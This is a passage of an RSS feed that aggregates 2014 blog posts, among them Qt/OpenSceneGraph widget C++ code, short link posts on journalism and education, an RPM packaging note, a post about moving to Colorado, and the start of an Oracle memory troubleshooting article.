&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getEventQueue&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;keyRelease&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;osgGA&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GUIEventAdapter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;KeySymbol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;keyData&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I had to implement similar event handling procedures for mouse move events, key press events, and so
on. To ensure that repaints happen after user interactions, I overrode the generic event handler of
the widget:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;OSGWidget&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;QEvent&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;handled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;QGLWidget&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;QEvent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nl"&gt;KeyPress&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;QEvent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nl"&gt;KeyRelease&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;QEvent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nl"&gt;MouseButtonDblClick&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;QEvent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nl"&gt;MouseButtonPress&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;QEvent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nl"&gt;MouseButtonRelease&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;QEvent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nl"&gt;MouseMove&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;handled&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The only remaining &amp;ldquo;tricky&amp;rdquo; part is to handle resize events properly. Here, the viewport of &lt;em&gt;each&lt;/em&gt;
camera should be reset correctly. For a single camera, this is rather easy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;OSGWidget&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;resizeGL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;height&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getEventQueue&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;windowResize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;height&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;graphicsWindow_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;resized&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;height&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;osg&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Camera&lt;/span&gt;&lt;span class="o"&gt;*&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cameras&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;viewer_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getCameras&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cameras&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cameras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;cameras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;front&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setViewport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h1 id="conclusion--code"&gt;Conclusion &amp;amp; code&lt;/h1&gt;
&lt;p&gt;So far, the new widgets are working perfectly. Even multiple cameras with different viewports did
not prove to be a significant problem. So, after much toiling and teeth-gnashing, I conclude that
&lt;em&gt;this&lt;/em&gt; is a good way for making OpenSceneGraph and Qt behave.&lt;/p&gt;
&lt;p&gt;If you want to grab the code as a starting point for your own projects, you are most welcome to do
so. You can &lt;a href="http://github.com/Pseudomanifold/QtOSG"&gt;clone the git repository&lt;/a&gt;. The
code is released under the &lt;a href="https://en.wikipedia.org/wiki/MIT_License"&gt;&amp;ldquo;MIT Licence&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sun, 30 Mar 2014 13:21:14 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/qt_and_openscenegraph/</guid></item><item><title>The Great Unbundling of Journalism</title><link>http://www.thenewsprint.co/blog/-the-great-unbundling-of-journalism</link><description>&lt;p&gt;Yes. Earlier this week, &lt;a href="https://zacs.site/blog/ben-thompson-on-the-future-of-news-and-newspapers.html"&gt;I posted a link&lt;/a&gt; to Ben Thompson&amp;#8217;s three-part series on the future of newspapers and journalism. Riffing off of that theme, Josh Ginter shares some thoughts along those lines. He&amp;#8217;s very hopeful about the future of the blogging industry, and rightly so.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.thenewsprint.co/blog/-the-great-unbundling-of-journalism"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 29 Mar 2014 10:36:46 GMT</pubDate><guid isPermaLink="true">http://www.thenewsprint.co/blog/-the-great-unbundling-of-journalism</guid></item><item><title>The Jeans Strategy</title><link>http://www.financialsamurai.com/use-the-jeans-strategy-to-save-more-for-retirement-and-stay-in-better-shape/</link><description>&lt;p&gt;I really, really like this. To put it in the context of writing, how about taking your best day&amp;#160;&amp;#8212;&amp;#160;whether you measure that by number of articles posted or page views gained&amp;#160;&amp;#8212;&amp;#160;and make that your goal &lt;em&gt;every single day?&lt;/em&gt; It would be hard, and many would say impractical, but maintaining the same waistline for fifteen years is hard too. In both cases, though, they are worthwhile pursuits.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.financialsamurai.com/use-the-jeans-strategy-to-save-more-for-retirement-and-stay-in-better-shape/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 29 Mar 2014 10:03:39 GMT</pubDate><guid isPermaLink="true">http://www.financialsamurai.com/use-the-jeans-strategy-to-save-more-for-retirement-and-stay-in-better-shape/</guid></item><item><title>The Trouble With a Singular Solution</title><link>https://zacs.site/blog/the-trouble-with-online-education.html</link><description>&lt;p&gt;Whereas Clay Shirky spoke to the benefits of online education, Mark Edmundson is a bit more skeptical in his 2012 (yet still just as relevant)&lt;sup id="fnref1"&gt;&lt;a href="#fn1" rel="footnote"&gt;1&lt;/a&gt;&lt;/sup&gt; article for The New York Times, &lt;a href="http://www.nytimes.com/2012/07/20/opinion/the-trouble-with-online-education.html"&gt;&lt;em&gt;The Trouble With Online Education&lt;/em&gt;&lt;/a&gt;. I agree with most of the criticisms Clay made in his two articles &lt;a href="https://zacs.site/blog/your-massively-open-offline-college-is-broken.html"&gt;I linked to yesterday&lt;/a&gt;, particularly with regards to the unsustainability of the current model upon which higher education runs. However, having spent three of my high school years taking online courses from various remote schools, and now that&amp;#160;&amp;#8212;&amp;#160;for the first time in my life&amp;#160;&amp;#8212;&amp;#160;I actually go to a classroom on a regular basis, I feel confident in saying that there exists no absolute solution to this problem.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-trouble-with-online-education.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 28 Mar 2014 19:47:44 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-trouble-with-online-education.html</guid></item><item><title>Movement in-depth</title><link>https://etodd.io/2014/03/28/movement-in-depth/</link><description>&lt;p&gt;&lt;a href="https://www.kickstarter.com/projects/et1337/lemma-first-person-parkour/posts/791579"&gt;Update from the Kickstarter&lt;/a&gt;: I know it's only been 24 hours since the last update, but Lemma is now over &lt;strong&gt;61%&lt;/strong&gt; of the way to the top 100 games on &lt;a href="http://steamcommunity.com/sharedfiles/filedetails/?id=239551444" target="_blank"&gt;Greenlight&lt;/a&gt; with well over &lt;strong&gt;4,500&lt;/strong&gt; yes votes. Thank you all for being a part of this project!&lt;/p&gt;
&lt;p&gt;I realized that the 30 seconds of gameplay from the Kickstarter trailer is not enough to really see what's going on, so here's a more in-depth video explanation of the movement in Lemma. Skip to 2:15 to see an explanation of the magical wall-creating, environment-modifying bits.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 28 Mar 2014 02:13:36 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/03/28/movement-in-depth/</guid></item><item><title>Puppet-Gluster now available as RPM</title><link>https://purpleidea.com/blog/2014/03/27/puppet-gluster-now-available-as-rpm/</link><description>&lt;p&gt;I&amp;rsquo;ve been afraid of &lt;a href="https://en.wikipedia.org/wiki/RPM_Package_Manager"&gt;RPM&lt;/a&gt; and package maintaining [1] for years, but thanks to &lt;a href="http://www.keithley.org/kaleb/kaleb.html"&gt;Kaleb Keithley&lt;/a&gt;, I have finally made some RPM&amp;rsquo;s that weren&amp;rsquo;t generated from a &lt;a href="http://docs.python.org/3/distutils/builtdist.html"&gt;high level tool&lt;/a&gt;. Now that I have the &lt;a href="https://github.com/purpleidea/puppet-gluster/commit/241956937f9778c332335267fac1256792c71155"&gt;boilerplate&lt;/a&gt; done, it&amp;rsquo;s a relatively painless process!&lt;/p&gt;
&lt;p&gt;In case you don&amp;rsquo;t know &lt;a href="https://twitter.com/kalebkuechle"&gt;kkeithley&lt;/a&gt;, he is a wizard [2] who happens to also be especially cool and hardworking. If you meet him, be sure to buy him a &lt;a href="https://en.wikipedia.org/wiki/Beer"&gt;&lt;em&gt;$BEVERAGE&lt;/em&gt;&lt;/a&gt;. &amp;lt;/plug&amp;gt;&lt;/p&gt;
&lt;table style="text-align: center; width: 80%; margin: 0 auto;"&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="wizard_penguin.png"&gt;&lt;img alt="A photo of kkeithley after he (temporarily) transformed himself into a wizard penguin." class="size-large wp-image-799" height="100%" src="wizard_penguin.png" width="100%" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt; A photo of kkeithley after he (temporarily) transformed himself into a wizard penguin.&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;p&gt;&lt;a href="https://github.com/purpleidea/puppet-gluster/commit/241956937f9778c332335267fac1256792c71155"&gt;The full source of my changes is available in git.&lt;/a&gt;&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 27 Mar 2014 22:32:41 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/03/27/puppet-gluster-now-available-as-rpm/</guid></item><item><title>Why the upgrade cycle means the "Apple tax" is lower than it seems</title><link>http://9to5mac.com/2014/03/21/opinion-why-the-upgrade-cycle-means-the-apple-tax-is-lower-than-it-seems/</link><description>&lt;p&gt;I have written about this before, in an article titled &lt;a href="https://zacs.site/blog/testing-the-apple-tax.html"&gt;&lt;em&gt;Testing the Apple Tax&lt;/em&gt;&lt;/a&gt;, and Ben Lovejoy comes to the same conclusion I did in his piece over at 9to5 Mac: in reality, the proposed &amp;#8220;Apple tax&amp;#8221; is, frankly, nearly nonexistent. Taking into account overall build quality, form factor, fit and finish, power, and power consumption, Mac computers compete quite competitively with their PC &amp;#8220;counterparts&amp;#8221;; adding in other factors such as resale value, maintenance, and support, I have a hard time believing anyone could make the reasonable case than any manufacturer offers greater value than Apple. The only part of Ben&amp;#8217;s article that I took issue with was his belief that a five-year-old Windows machine would have any resale value whatsoever: late last year I tried to attain some return on investment for four DELL laptops roughly that old, and as far as anyone was concerned, they were worthless.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://9to5mac.com/2014/03/21/opinion-why-the-upgrade-cycle-means-the-apple-tax-is-lower-than-it-seems/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 27 Mar 2014 17:00:37 GMT</pubDate><guid isPermaLink="true">http://9to5mac.com/2014/03/21/opinion-why-the-upgrade-cycle-means-the-apple-tax-is-lower-than-it-seems/</guid></item><item><title>Your Massively Open Offline College is Broken</title><link>http://www.theawl.com/2013/02/how-to-save-college</link><description>&lt;p&gt;Education is a topic near and dear to my heart, so whenever I can find an interesting, well-written article on the subject I tend to afford it slightly more attention than I might Business Insider&amp;#8217;s terrible article explaining possible reasons behind Facebook&amp;#8217;s acquisition of Oculus. Unfortunately, these articles often turn out mediocre at best; this piece by Clay Shirky, however, and its predecessor &lt;a href="http://www.shirky.com/weblog/2012/11/napster-udacity-and-the-academy/"&gt;&lt;em&gt;Napster, Udacity, and the Academy&lt;/em&gt;&lt;/a&gt;, are both very interesting in-depth looks at the problems facing higher education in America. You will have to spend a while reading both of these, but it will be time well spent.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.theawl.com/2013/02/how-to-save-college"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 27 Mar 2014 11:01:29 GMT</pubDate><guid isPermaLink="true">http://www.theawl.com/2013/02/how-to-save-college</guid></item><item><title>Hedge Yourself Before They Wreck Yourself</title><link>https://zacs.site/blog/hedge-yourself.html</link><description>&lt;p&gt;Although I have touched on facets of this topic before&amp;#160;&amp;#8212;&amp;#160;&lt;a href="https://zacs.site/blog/the-feminist-who-cried-wolf.html"&gt;in articles I encourage you to read before continuing&lt;/a&gt; partly &lt;a href="https://zacs.site/blog/in-defence-of-entangled-bank.html"&gt;to have a bit of background to frame my subsequent words with&lt;/a&gt;, partly because I still feel quite proud of how well they turned out, but mostly because I still stand behind those sentiments&amp;#160;&amp;#8212;&amp;#160;I have put off writing this for quite some time, for a whole host of reasons. After listening to &lt;a href="http://atp.fm/episodes/57-smorgasbord-of-pronunciation"&gt;last week&amp;#8217;s episode of the Accidental Tech Podcast&lt;/a&gt;, however, where John, Marco, and Casey discussed sexism and the best ways in which to respond to accusations of unsavory bias towards the &amp;#8220;wrong&amp;#8221; side of politically-charged topics, I decided it was high-time I put my two-cents out there for everyone to tear apart as they see fit. Throughout the rest of that day, I spent every spare moment tapping nearly eight hundred words into a first draft; after a bit of editing and some minor corrections, this is the end result.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/hedge-yourself.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 27 Mar 2014 09:52:13 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/hedge-yourself.html</guid></item><item><title>How to Move</title><link>https://josh.works/how-to-move</link><description>&lt;p&gt;Kristi and I are moving to Colorado in July. We’ve taken three broad steps to make this move happen:&lt;/p&gt;

&lt;h2 id="we-both-are-in-process-with-new-jobs"&gt;We both are in process with new jobs&lt;/h2&gt;

&lt;p&gt;I just started working remotely for &lt;a href="http://www.litmus.com"&gt;Litmus&lt;/a&gt;, which means I can seamlessly transition to Colorado this summer. Kristi spent a few days last week interviewing with public schools and attending a teachers fair in Colorado.&lt;/p&gt;

&lt;p&gt;We’re moving, and we may even be gainfully employed!&lt;/p&gt;

&lt;h2 id="were-shedding-as-many-of-our-possessions-as-we-can"&gt;We’re shedding as many of our possessions as we can&lt;/h2&gt;

&lt;p&gt;We’re moving to Colorado and don’t want to drop $2k for a u-haul truck. We’ll be towing the smallest enclosed u-haul trailer available behind our Toyota Corolla. This means limited cargo space. We’re both excited about this, because as mentioned before, &lt;a href="/simplify-simplify-simplify"&gt;we’re moving in the direction of minimalism&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We have a sofa bed that we love, and I really love our kitchen knives and one cast-iron skillet. Everything else is replaceable, so we’re trimming down our wardrobes, getting rid of kick-knacks, ditching almost all of our physical books, and &lt;a href="http://www.becomingminimalist.com/sample-living-with-less/"&gt;experimenting with less&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id="were-putting-our-money-where-our-mouth-is"&gt;We’re putting our money where our mouth is&lt;/h3&gt;

&lt;p&gt;Moving is not cheap, but it certainly doesn’t have to be expensive. Beyond that, we’re moving to Colorado for the lifestyle benefits, so we’re putting our money in that direction as well. We have a few financial benchmarks that we’re working on. We’re almost done paying off our car, which we were unexpectedly forced into buying late last year. When we get to Colorado, we’ll be able to enjoy the opportunities it offers to the fullest.&lt;/p&gt;

&lt;h3 id="why-move"&gt;Why Move?&lt;/h3&gt;

&lt;p&gt;Almost every time we mention we’re moving to Colorado, we hear two things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;“That is AMAZING! Colorado is great. “&lt;/li&gt;
  &lt;li&gt;“I wish I could do that.”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Well - you can. If you accept certain sacrifices, and hustle to line up your cards right, you can do it. There is the spectrum of what it takes to move across the country:&lt;/p&gt;

&lt;p&gt;On one end of the spectrum, you could quit your job tomorrow, load up your car, and move.&lt;/p&gt;

&lt;p&gt;This would probably leave a few loose ends, and would be better if you just committed a crime and had to hustle out of town. Maybe you should just drive to Mexico if you’re in this situation.&lt;/p&gt;

&lt;p&gt;On the other end of the spectrum, you may never move until someone offers you a job, a place to live, a relocation bonus, pays for your things and your time, and finds you a friend-group to plug into without any work on your behalf.&lt;/p&gt;

&lt;p&gt;This bar is pretty high, and I wouldn’t hold my breath.&lt;/p&gt;

&lt;p&gt;So - we picked something in the middle. Kristi worked on getting a teaching job, and I worked on getting a remote job. These are both working out, and now we’re figuring out what to do with our things and our money. That’s it. We’re leaving behind friends and family, but these relationships are important enough to invest time and money in maintaining. The rest (casual friendships) can be rebuilt in our new location.&lt;/p&gt;

&lt;p&gt;Boom. It’s that easy. And so much more complex.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Thu, 27 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/how-to-move</guid></item><item><title>Laravel 4 &amp;amp; Dokku: Queue Workers</title><link>https://james.brooks.page/blog/laravel-4-dokku-queue-workers</link><description>How we implemented Laravel 4’s Queue Component in our CRM system for improved email handling and UI responsiveness.</description><author>James Brooks</author><pubDate>Thu, 27 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://james.brooks.page/blog/laravel-4-dokku-queue-workers</guid></item><item><title>Oracle Memory Troubleshooting, Part 4: Drilling down into PGA memory usage with V$PROCESS_MEMORY_DETAIL</title><link>https://tanelpoder.com/2014/03/26/oracle-memory-troubleshooting-part-4-drilling-down-into-pga-memory-usage-with-vprocess_memory_detail/</link><description>&lt;p&gt;If you haven’t read them – here are the previous articles in Oracle memory troubleshooting series: &lt;a href="https://tanelpoder.com/2009/01/02/oracle-memory-troubleshooting-part-1-heapdump-analyzer/" target="_blank"&gt;Part 1&lt;/a&gt;, &lt;a href="https://tanelpoder.com/2009/06/04/ora-04031-errors-and-monitoring-shared-pool-subpool-memory-utilization-with-sgastatxsql/" target="_blank"&gt;Part 2&lt;/a&gt;, &lt;a href="https://tanelpoder.com/2009/06/24/oracle-memory-troubleshooting-part-3-automatic-top-subheap-dumping-with-heapdump/" target="_blank" title="Oracle memory troubleshooting, Part 3: Automatic top subheap dumping with heapdump"&gt;Part 3&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Let’s say you have noticed that one of your Oracle processes is consuming a lot of private memory. The V$PROCESS has PGA_USED_MEM / PGA_ALLOC_MEM columns for this. Note that this view will tell you what Oracle thinks it’s using – how much of allocated/freed bytes it has kept track of. While this doesn’t usually tell you the true memory usage of a process, as other non-Oracle-heap allocation routines and the OS libraries may allocate (and leak) memory of their own, it’s a good starting point and usually enough.&lt;/p&gt;
